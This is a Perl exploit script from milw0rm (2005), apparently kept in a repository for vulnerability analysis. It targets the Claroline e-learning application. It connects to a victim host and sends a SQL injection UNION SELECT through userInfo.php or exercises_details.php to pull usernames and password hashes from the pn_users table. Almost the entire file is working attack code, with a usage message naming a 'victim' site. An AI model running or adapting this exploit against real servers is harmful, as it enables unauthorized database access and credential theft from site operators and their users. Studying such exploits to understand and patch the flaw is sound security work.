lilbool/vuln-code-analysis

1#!/usr/bin/perl

2# Claroline E-Learning Application Remote SQL Exploit

3# [K-C0d3r]

4# This tools and to consider only himself to educational purpose

5# Bug discovered by

6# Greetz to mZ, 2b TUBE, off, rikky, str0ke, x0n3-h4ck, MWC

7# [K-C0d3r]

8

9use IO::Socket;

10

11sub Usage {

12print STDERR "Usage: KCcol-xpl.pl <www.victim.com> <path/dir> <target_num>\n";

13print STDERR "Targets:\n1 - userInfo.php\n";

14print STDERR "2 - exercises_details.php\n";

15exit;

16}

17

18if (@ARGV < 3)

19{

20 Usage();

21}

22

23if (@ARGV > 3)

24{

25 Usage();

26}

27

28if (@ARGV == 3)

29{

30$host = @ARGV[0];

31$path = @ARGV[1];

32$target = @ARGV[2];

33

34print "[K-C0d3r]  Claroline E-Learning Application Remote SQL Exploit [K-C0d3r]\n";

35print "[+] Connecting to $host\n";

36

37$sqli = "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";

38$sqli .= "%20FROM%20pn_users%20WHERE%20pn_uid=2/*";

39

40$socket = new IO::Socket::INET (PeerAddr => "$host",

41                                PeerPort => 80,

42                                Proto => 'tcp');

43                                die unless $socket;

44

45print "[+] Injecting command ...\n";

46

47if ($target == 1)

48{

49print $socket "GET http://$host/$path/userInfo.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";

50while (<$socket>)

51{

52 print $_;

53 exit;

54}

55}

56if ($target == 2)

57{

58print $socket "GET http://$host/$path/exercises_details.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";

59while (<$socket>)

60{

61 print $_;

62 exit;

63}

64}

65}

66

67# milw0rm.com [2005-06-19]